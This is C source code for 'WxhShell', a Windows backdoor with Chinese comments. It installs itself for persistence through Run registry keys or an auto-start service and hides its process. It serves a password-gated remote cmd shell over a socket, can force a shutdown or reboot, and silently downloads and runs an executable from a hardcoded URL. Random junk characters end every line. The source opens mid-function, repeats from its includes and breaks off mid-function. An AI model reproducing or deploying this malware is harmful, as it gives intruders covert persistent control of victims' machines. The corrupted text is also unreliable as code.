    } t=W$'*P0}  
  // 关机 kf^-m/  
  case 'd': { 34m']n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7\0|`{|R@  
    if(Boot(SHUTDOWN)) Y6f+__O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s9_`Wrg?  
    else { =JbdsYI(  
    closesocket(wsh); LN~N Fjs  
    ExitThread(0); SD|4ybK>d  
    } rq'##`H  
    break; 6Y>,e;R  
    } ^Z-. [Y  
  // 获取shell [!:-m61  
  case 's': { C6D=>%uY  
    CmdShell(wsh); > G4HZE  
    closesocket(wsh); 4iYKW2a  
    ExitThread(0); zqvRkMWcM  
    break; XMeL^|D  
  }  J:~[ j  
  // 退出 a_ 9|xI  
  case 'x': { mV**9-"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `u p-m=zA  
    CloseIt(wsh); s.p1L  
    break; Y>78h2AU  
    } 7}#*3*]  
  // 离开 yd0=h7s  
  case 'q': { 5I)~4.U|,m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =q"w2b&  
    closesocket(wsh); ')P2O\YS  
    WSACleanup(); 9*-pden l  
    exit(1); !!-}ttFA  
    break; _A;vSp.`  
        } Cz=A{< ^g  
  } XQ0#0<  
  } dJ%wVY0z=  
k7yv>iN  
  // 提示信息 >YJ8u{Z{o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Vp(D|}P  
} ;Ch+X$m9  
  } ,<0Rf  
w&wA >q>&  
  return; b!4N)t>gl  
} "4Lg8qm  
9atjK4+o  
// shell模块句柄 "t (1tWO1o  
int CmdShell(SOCKET sock) p|FlWR'mA  
{ ?o(ZTlT  
STARTUPINFO si; cS"f  
ZeroMemory(&si,sizeof(si)); z9k*1:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MO));M)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ShL1'Z} ^{  
PROCESS_INFORMATION ProcessInfo; Cbgj@4H  
char cmdline[]="cmd"; pr62:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KXoL,)Hl  
  return 0; =F'l's^j  
} 9]]!8_0=r  
IZ4W_NN  
// 自身启动模式 Whv]88w{  
int StartFromService(void) PtQQZ"ept  
{ +8LM~voB  
typedef struct NqiB8hZ~  
{ =&di4'`  
  DWORD ExitStatus; nuf@}W>y  
  DWORD PebBaseAddress; Ez06:]Jd  
  DWORD AffinityMask; l 8O"w&  
  DWORD BasePriority; B,~f "  
  ULONG UniqueProcessId; h|J;6Sm@  
  ULONG InheritedFromUniqueProcessId; VqcBwJ!?p  
}   PROCESS_BASIC_INFORMATION; /_NkB$&  
;Ri 3#*a=  
PROCNTQSIP NtQueryInformationProcess; eP V-yy  
<MPeh&_3#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6@"Vqm|HD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ??%)|nj.  
%iK%$  
  HANDLE             hProcess; Nc G,0K  
  PROCESS_BASIC_INFORMATION pbi; e%PC e9  
@PYW|*VS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r/UYC"K3  
  if(NULL == hInst ) return 0; l%^h2 o  
7ZS>1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GLo\q:5A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `)rg|~#k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $a`J(I  
>pgQb9 T+_  
  if (!NtQueryInformationProcess) return 0; Na\3.:]z  
L@7Qs6G2u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zt7_r`#z  
  if(!hProcess) return 0; Z 6 tE{/  
XxmJP5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @)9REA(U  
_aVJ$N.  
  CloseHandle(hProcess); x^zdTMNhw  
N YCj; ,V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;l$9gD>R  
if(hProcess==NULL) return 0; X7e>Z)l  
l<u{6o  
HMODULE hMod; y:qx5Mi  
char procName[255]; bBA$}bv  
unsigned long cbNeeded; :9(3h"  
P;j&kuW|zL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \|v`l{  
.6\T`6H=a  
  CloseHandle(hProcess); f_oq1W)9  
r])Z9bbi  
if(strstr(procName,"services")) return 1; // 以服务启动 3.(.*>  
Po1hq2-U8  
  return 0; // 注册表启动 I!61 K  
} ,o BlJvm  
PoJmW^:}  
// 主模块 cZ^wQ5=  
int StartWxhshell(LPSTR lpCmdLine) aD+0\I[x  
{ iOl%-Y  
  SOCKET wsl; xM% pvx.'L  
BOOL val=TRUE; YdK _.t0Mu  
  int port=0; 3 sl=>;-  
  struct sockaddr_in door; Ft3I>=f{  
3Hs$]nQ_X  
  if(wscfg.ws_autoins) Install(); l`DtiJ?$$0  
'c#IMlv  
port=atoi(lpCmdLine); IeZ&7u  
AU/#b(mI  
if(port<=0) port=wscfg.ws_port; ;{Xy`{Cg!  
j H(&oV  
  WSADATA data; wcwQjHwd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hc M~  
`n6/ A)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Yhe+u\vGs\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3!>/smb !  
  door.sin_family = AF_INET; XjxPIdX_H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?<! nm&~  
  door.sin_port = htons(port); "@4ghot t  
 U7E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8qN"3 Et  
closesocket(wsl); )AJ=an||5  
return 1; 7^Na9]PY  
} eI0F!Yon  
8-ZUS|7B  
  if(listen(wsl,2) == INVALID_SOCKET) { Cw%BZ  
closesocket(wsl); Ssw&'B|o  
return 1; xkM] J)C  
} U~wjR"='  
  Wxhshell(wsl); 5Q|sta!  
  WSACleanup(); p!}ZdX[u  
_|X7 n~  
return 0; G,=F<TnI'  
Q70bEHLA  
} Ge^Qar  
+1/b^Ac  
// 以NT服务方式启动 Fom>'g*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %J _ymJ'pd  
{ J,(7.+`~#  
DWORD   status = 0; ;T>+,  
  DWORD   specificError = 0xfffffff; 9KyZEH;pY  
8aZ$5^z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N 'i,>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~,gLplpG0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \DS^i`o)rY  
  serviceStatus.dwWin32ExitCode     = 0; 5}XvL'  
  serviceStatus.dwServiceSpecificExitCode = 0; N xFUO0O3  
  serviceStatus.dwCheckPoint       = 0; Ig9d#c  
  serviceStatus.dwWaitHint       = 0; T9?54r  
?Wa<AFXQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AWT"Y4Ie  
  if (hServiceStatusHandle==0) return; w.uK?A>W,  
B)6#Lp3  
status = GetLastError(); ,#d[ad<  
  if (status!=NO_ERROR) qp&4 1  
{ P6YQK+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _=EZ `!%  
    serviceStatus.dwCheckPoint       = 0; Xu#:Fe}:  
    serviceStatus.dwWaitHint       = 0; Vo M6  
    serviceStatus.dwWin32ExitCode     = status; 0% +'  
    serviceStatus.dwServiceSpecificExitCode = specificError; . :a<2sp6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jq)U</  
    return; ezn` _x_?  
  } 63M=,0-Qt  
a$$ Wt<&Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kam]Mn'  
  serviceStatus.dwCheckPoint       = 0; CTp!di|  
  serviceStatus.dwWaitHint       = 0; j5^-.sEEw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ri @`a  
} 7@l<? (  
=9$mbn r  
// 处理NT服务事件,比如:启动、停止 6 D/tK|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b\giJ1NJB  
{ [l*;E f,  
switch(fdwControl) opD-vDa h  
{ V`bs&5#Sx  
case SERVICE_CONTROL_STOP: ]?&FOzN5$P  
  serviceStatus.dwWin32ExitCode = 0; 55m<XC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :1;Q(9:v  
  serviceStatus.dwCheckPoint   = 0; $r79n-  
  serviceStatus.dwWaitHint     = 0; ?WHy0x20  
  { B+"g2Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pbLGe'  
  } au$"B/  
  return; IzUo0D*@  
case SERVICE_CONTROL_PAUSE: m@\ZHbq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H;S%Y`V  
  break; &z@~B&O  
case SERVICE_CONTROL_CONTINUE: 2d`c!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <kbyZXV@K  
  break; c1%rV`)]  
case SERVICE_CONTROL_INTERROGATE: y LM"+.?pL  
  break; ~xDw*AC-  
}; E FY@Y[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +S9PML){h  
} &&7r+.Y  
%e_"CS  
// 标准应用程序主函数 1*UN sEr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :2y"3azxk  
{ v}[dnG  
f/y`  
// 获取操作系统版本 50n}my'2h  
OsIsNt=GetOsVer(); RiR:69xwR*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lddp^ #f  
' ~Q2!F  
  // 从命令行安装 AGq>=avv  
  if(strpbrk(lpCmdLine,"iI")) Install(); s 3r=mp{  
! '0S0a8  
  // 下载执行文件 }}T,W.#%u  
if(wscfg.ws_downexe) { r;gP}H ?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x0Z5zV9  
  WinExec(wscfg.ws_filenam,SW_HIDE); /:[2'_Xl  
} b,<9  
KnzsHli,~k  
if(!OsIsNt) { UVEz;<5@\  
// 如果时win9x,隐藏进程并且设置为注册表启动 CxF-Z7 '  
HideProc(); I%lE;'x  
StartWxhshell(lpCmdLine); aGoE,5  
} -iN.Iuc{b_  
else Q@QFV~  
  if(StartFromService()) io%')0p5q  
  // 以服务方式启动 )=^w3y  
  StartServiceCtrlDispatcher(DispatchTable); %XTA;lrz  
else e/s(ojDW  
  // 普通方式启动 glUo7^ay7  
  StartWxhshell(lpCmdLine); Q-eCHr)  
\2kPq>hu  
return 0; RBGX_v?  
} ZafboqsDL  
F n|gVR  
?mYYt]R  
aT!;{+  
=========================================== 6Bt=^~d  
}!d;(/)rb  
!<n"6KA.  
ma& To=  
S h4wqf  
XbXA+ey6  
" lU2c_4  
7Z,/g|s}z  
#include <stdio.h> HOi C  
#include <string.h> `a]44es9q  
#include <windows.h> V H^AcO  
#include <winsock2.h> xN"Z1n7t  
#include <winsvc.h> s0W2?!>)  
#include <urlmon.h> z1V#'$_5-  
0pgY1i7  
#pragma comment (lib, "Ws2_32.lib") pW?& J>\6  
#pragma comment (lib, "urlmon.lib") Y)I8eU{Wl(  
f [o%hCS  
#define MAX_USER   100 // 最大客户端连接数 !|G(Yg7C  
#define BUF_SOCK   200 // sock buffer wts:65~  
#define KEY_BUFF   255 // 输入 buffer CAc %f9!3  
[rY T  
#define REBOOT     0   // 重启 0ZI(/r  
#define SHUTDOWN   1   // 关机 %y`7);.q  
kBEmmgL  
#define DEF_PORT   5000 // 监听端口 ` %?9=h%  
%{5n1w  
#define REG_LEN     16   // 注册表键长度 [`_io>*g  
#define SVC_LEN     80   // NT服务名长度 P=8>c'Q  
XhW %,/<  
// 从dll定义API u<tk G B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =U-r*sGLN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +: Ge_-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @xWdO,#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u5E]t9~Pq  
kODK@w V-  
// wxhshell配置信息 ,/Cq v   
struct WSCFG { xi'>mIT  
  int ws_port;         // 监听端口 )NW6?Pu"  
  char ws_passstr[REG_LEN]; // 口令 n&XGBwgW  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~oD8Rnf  
  char ws_regname[REG_LEN]; // 注册表键名 )mN9(Ob!  
  char ws_svcname[REG_LEN]; // 服务名 e$/B_o7(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uOi&G:=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -=}3j&,\R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g@v s*xE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '/%zi,0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (!K_Fy@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V6a``i]  
I=Zx"'Um  
}; M:SO2Czz  
|;vi*u  
// default Wxhshell configuration 2 h|e  
struct WSCFG wscfg={DEF_PORT, @e2}BhB2  
    "xuhuanlingzhe", %}Q&1P=  
    1, h#}YKWL  
    "Wxhshell", ) M<vAUF  
    "Wxhshell", kJK,6mN  
            "WxhShell Service", &XLD S=j  
    "Wrsky Windows CmdShell Service", iZ,YxN<R  
    "Please Input Your Password: ", Es5p}uh.[Y  
  1, Ka_S n  
  "http://www.wrsky.com/wxhshell.exe", |$lwkC)O  
  "Wxhshell.exe" \+PIe7f_  
    }; 3 /6/G}s  
TCVl8)j  
// 消息定义模块 [w \?j,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n-;y*kD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W0`Gc {  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f^<6`Aeq  
char *msg_ws_ext="\n\rExit."; *JCQu0  
char *msg_ws_end="\n\rQuit."; '_0]vupvY  
char *msg_ws_boot="\n\rReboot..."; .w? .ib(  
char *msg_ws_poff="\n\rShutdown..."; u=+q$Q]  
char *msg_ws_down="\n\rSave to "; /\d$/~BFi  
}E^S]hdvz  
char *msg_ws_err="\n\rErr!"; ^s/  
char *msg_ws_ok="\n\rOK!"; ;GHvPQc_  
D%/8{b:  
char ExeFile[MAX_PATH]; GR4?BuY,  
int nUser = 0; Z'v-F^  
HANDLE handles[MAX_USER]; "dh:-x6  
int OsIsNt; ><?BqRm+  
LxN*)[Wb  
SERVICE_STATUS       serviceStatus; <I*x0BM=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _O:WG&a6  
mz7l'4']+  
// 函数声明 ?>uew^$d[w  
int Install(void); @Cq? :o<  
int Uninstall(void); ,Fqz e/  
int DownloadFile(char *sURL, SOCKET wsh); M~ h8Crz  
int Boot(int flag); yl]FP@N(  
void HideProc(void); N]/!mo?  
int GetOsVer(void); 3NK ^AaTK  
int Wxhshell(SOCKET wsl); i^z`"3#LE  
void TalkWithClient(void *cs); V1=*z  
int CmdShell(SOCKET sock); b%(6EiUA  
int StartFromService(void); ?h\mk0[  
int StartWxhshell(LPSTR lpCmdLine); 9L eNe}9v  
S4NL "m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w2gf&Lc\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1'w:`/_  
obClBO)@Y  
// 数据结构和表定义 ")#<y@Rv  
SERVICE_TABLE_ENTRY DispatchTable[] = <!^ [~`  
{ P.WYTst=  
{wscfg.ws_svcname, NTServiceMain}, j#A%q"]8  
{NULL, NULL} +RZ~LA \+  
}; y f1CXldi  
> dZ3+f  
// 自我安装 jB$SUO`*  
int Install(void) <_S@6 ?  
{ %"3 )TN4  
  char svExeFile[MAX_PATH]; d 4{FDqto  
  HKEY key; 0Dv JZ|e  
  strcpy(svExeFile,ExeFile); *U7 %|wd  
X~T/qFS   
// 如果是win9x系统,修改注册表设为自启动 pJpNO$$w  
if(!OsIsNt) { [`fI:ao|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LC69td&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,i}|5ozj4  
  RegCloseKey(key); 70W"G X&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,32xcj}j)r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )6oGF>o>  
  RegCloseKey(key); hXL|22>w<  
  return 0; vn').\,P2O  
    } $Rtgr{ {;"  
  } P~$< X  
} .QWhK|(.!  
else { `$;+g ,  
Ggm` ~fS  
// 如果是NT以上系统,安装为系统服务 /="HqBI#i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xp \S2@<  
if (schSCManager!=0) xN->cA$A  
{ L&2u[ml  
  SC_HANDLE schService = CreateService {ShgJ ;! Q  
  ( 5mB]N%rfW%  
  schSCManager, +Ghi}v  
  wscfg.ws_svcname, T|4snU2M  
  wscfg.ws_svcdisp, #*$p-I=  
  SERVICE_ALL_ACCESS, @s* ,xHE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iw]k5<qKj  
  SERVICE_AUTO_START, /Bv#) -5  
  SERVICE_ERROR_NORMAL, m\0cE1fir  
  svExeFile, :R6Q=g=  
  NULL, :- +4:S  
  NULL, ROAI9sW0  
  NULL, ? 5|/ C  
  NULL, -$k>F#  
  NULL HMQI&Lh=U  
  ); v"lf-c  
  if (schService!=0) |7F*MP  
  { 649 !=  
  CloseServiceHandle(schService); [Eq<":)  
  CloseServiceHandle(schSCManager); :b#%C pR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '5.\#=S1  
  strcat(svExeFile,wscfg.ws_svcname); #a~"K|' G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'x%x'9OP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L:f)i,S"5q  
  RegCloseKey(key); ;IP~Tb]&  
  return 0; ]#eh&jw  
    } yXfMzG  
  } gQVBA %  
  CloseServiceHandle(schSCManager); C7"HQQ  
} n~r 9!m$<  
} SG]K   
D'i6",Z>  
return 1; !C&%T]  
} nB@UKX  
A|RR]CFJ  
// 自我卸载 V|?WF&  
int Uninstall(void) k=n "+  
{ |r =DBd3  
  HKEY key; &d^=s iL  
S7sb7c'4 k  
if(!OsIsNt) { /=T"=bP#/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y?:dE.5p|  
  RegDeleteValue(key,wscfg.ws_regname); 3oBC   
  RegCloseKey(key); #BJ\{"b_}z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zJl_ t0  
  RegDeleteValue(key,wscfg.ws_regname); ,;iA2  
  RegCloseKey(key); S!dHNA:iU  
  return 0; VWa|Y@Dc]  
  } L(o#4YH}>J  
} 5P+YK\~  
} JZx%J)  
else { K8Zt:yP  
P[i\e7mR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &?<AwtNN  
if (schSCManager!=0) Mtp%co)f  
{ I'_v{k5ZI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uLW/f=7 L  
  if (schService!=0) Jt=>-Spj  
  { iJnh$jo  
  if(DeleteService(schService)!=0) { ^Q2ZqAf^a  
  CloseServiceHandle(schService); ?!S GiARW?  
  CloseServiceHandle(schSCManager); gxM[V>[  
  return 0; #+G`!<7/@f  
  } azGn P3_  
  CloseServiceHandle(schService); "iek,Y}j7  
  } 3M*Y= ?pI  
  CloseServiceHandle(schSCManager); j jY{Uq  
} 6VR[)T%  
} 2%YXc|gGT  
xrI}3T  
return 1; eP|)SU  
} $9H[3OZPVv  
.TN2s\:]jw  
// 从指定url下载文件 *.8:'F  
int DownloadFile(char *sURL, SOCKET wsh) y4<+-  
{ M&e8zS  
  HRESULT hr; Phlk1*1n  
char seps[]= "/"; Bz:0L1@,4a  
char *token; d}% (jJ(I  
char *file; 7^wE$7hS  
char myURL[MAX_PATH]; [4gjC  
char myFILE[MAX_PATH]; AU`OESSI  
iS05YW  
strcpy(myURL,sURL); p#<nK+6.8  
  token=strtok(myURL,seps); Mjw[:70  
  while(token!=NULL) ^pw7o6}  
  { Q X):T#^V  
    file=token; ~XQ$aRl&  
  token=strtok(NULL,seps); 5"2@NL  
  } R0IF'  
yA}nPXrd  
GetCurrentDirectory(MAX_PATH,myFILE); ZgBckb  
strcat(myFILE, "\\"); s01$fFJgO  
strcat(myFILE, file); pn*d[M|k  
  send(wsh,myFILE,strlen(myFILE),0); /j %_t  
send(wsh,"...",3,0); ULu O0\W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ybYXD?  
  if(hr==S_OK) Hn^sW LT  
return 0; I+~\ w N  
else '\'7yN'  
return 1; +{^'i P  
FvA|1c  
} o@',YF>OQ  
NYwGK|  
// 系统电源模块 un&>  
int Boot(int flag) i&pMF O  
{ 0STk)> 3$-  
  HANDLE hToken; Xky@[Td*  
  TOKEN_PRIVILEGES tkp; 8x gc[#  
i8eA_Q  
  if(OsIsNt) { D:6N9POB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C#T)@UxBZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o[imNy~~  
    tkp.PrivilegeCount = 1; #'KY`&Tw&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <L%HG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x' ?.~  
if(flag==REBOOT) {  HFv?s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kp.|gzA6  
  return 0; d4V 2[TX  
} 6T]Q.\5BZ  
else { "V:XhBG?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @21u I{  
  return 0; 4a1BGNI%SW  
} Q>V?w gZ  
  } Ho>p ^p  
  else { VrudR#q  
if(flag==REBOOT) { Ipg\9*c`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y]MWd#U  
  return 0; dZ-Ny_@&  
} )v};C<  
else { Lq%[A*`^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .^BWR  
  return 0; VDPxue  
} ?3n=m%W,J*  
} 0:HC;J  
]m RF[b$  
return 1; ]y$)%J^T  
}  ?DJuQFv  
xL|?(pQ/BK  
// win9x进程隐藏模块 _pJX1_vD  
void HideProc(void) l;XUh9RF`A  
{ RLv&,$$0  
Cx$9#3\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sek6+#|=  
  if ( hKernel != NULL ) qmQFHC_  
  { NuHL5C?To  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h)"'YzCt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /95FDk>  
    FreeLibrary(hKernel); hcj{%^p  
  } >h|UCJ1 `  
kg zwlKK  
return; TeOFAIU  
} LPsh?Ca?N  
O2/%mFS.  
// 获取操作系统版本 _CHKh*KHML  
int GetOsVer(void) 5/*)+  
{ qdKh6{  
  OSVERSIONINFO winfo; A[K:/tB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B[C7G7<B  
  GetVersionEx(&winfo); SB5@\^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hg(KNvl  
  return 1; "X\q%%P=?  
  else 1 OuSH+  
  return 0; ^w.k^U=B  
} S^*(ALFPj  
&pa)Ee>  
// 客户端句柄模块 /^nP_ID  
int Wxhshell(SOCKET wsl) Vjv6\;tt8  
{ #1gTpb+t  
  SOCKET wsh; e&r+w!  
  struct sockaddr_in client; = .fc"R|<K  
  DWORD myID; Yk(NZ3O  
+3(CGNE  
  while(nUser<MAX_USER) @`#OC#  
{ :/n ?4K^  
  int nSize=sizeof(client); lsTe*Od  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2n<qAl$t  
  if(wsh==INVALID_SOCKET) return 1; FZ;Y vdX6  
&e5^v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LA(f]Xmc  
if(handles[nUser]==0) F>hVrUD8  
  closesocket(wsh); vq@#Be?@  
else BN bb&]  
  nUser++; $6qR/#74  
  } So3,Z'z=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9 &?tQ"@x  
7!]k#|u  
  return 0; &q kl*#]  
} ?,A8  fR  
B$iMU?B3  
// 关闭 socket R$~JhcX*l'  
void CloseIt(SOCKET wsh) 4jI*Y6Wkz  
{ 0hEF$d6U  
closesocket(wsh); U^WQWa  
nUser--; XF0*d~4  
ExitThread(0); !YuON6{)  
} Y D1g]p  
n~L'icD[  
// 客户端请求句柄 CVn;RF6  
void TalkWithClient(void *cs) U/~Zk@3j  
{ vwSX$OZ  
Tg}H < T  
  SOCKET wsh=(SOCKET)cs; vM$#m1L?  
  char pwd[SVC_LEN]; K1qY10F:_  
  char cmd[KEY_BUFF]; (rCPr,@0  
char chr[1]; U7f#Z  
int i,j; #&HarBxx  
`s]zk {x  
  while (nUser < MAX_USER) { wZ#~+ }T  
G/^5P5y%@  
if(wscfg.ws_passstr) { ! 7#froh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `^@g2c+d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )@};lmPR  
  //ZeroMemory(pwd,KEY_BUFF); Amq8q  
      i=0; bC>yIjCTn  
  while(i<SVC_LEN) { 5}(YMsUb  
|Cxip&e>  
  // 设置超时 U~QCN[gh  
  fd_set FdRead; h3vm< R;  
  struct timeval TimeOut; y0Q/B|&[  
  FD_ZERO(&FdRead); HEW9YC"  
  FD_SET(wsh,&FdRead); s`7 _J9  
  TimeOut.tv_sec=8; _*-'yu8#  
  TimeOut.tv_usec=0; }G0.Lq+a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4h0jX 9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jmwQc&  
Y_TL4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /R+]}Lt~%*  
  pwd=chr[0]; uR[PKLh  
  if(chr[0]==0xd || chr[0]==0xa) { -^NAHE$bW  
  pwd=0; rSFXchD/  
  break; ^?l-YnQqm?  
  } L@x8hUG"  
  i++; JCMEhI6d*  
    } r z>zdj5}  
|<o>$;mZ  
  // 如果是非法用户,关闭 socket kA9 X!)2w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7Q4Pjc D  
} F<'l'AsC-  
bm]dz;ljh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K^1O =1gY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  26klW:2*  
s9Q)6=mE  
while(1) { 3[g++B."pC  
. I9] `Q  
  ZeroMemory(cmd,KEY_BUFF); 8 H"f9S=K  
(YWc%f4  
      // 自动支持客户端 telnet标准   QR-R5XNT[  
  j=0; )*AA9   
  while(j<KEY_BUFF) { b "3T(#2<*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JnKbd~  
  cmd[j]=chr[0]; .}u(&  
  if(chr[0]==0xa || chr[0]==0xd) { $oBZe>s .  
  cmd[j]=0; hF%~iqd  
  break; FT?1Q'  
  } ="nrq&2  
  j++; d+| ! 6  
    } 7bW!u*v-c  
R;m0eG`  
  // 下载文件 2/o/UfYjgF  
  if(strstr(cmd,"http://")) { ;w&yGm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _=M'KCL*)  
  if(DownloadFile(cmd,wsh)) 2dlV'U_g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |~vQ0D  
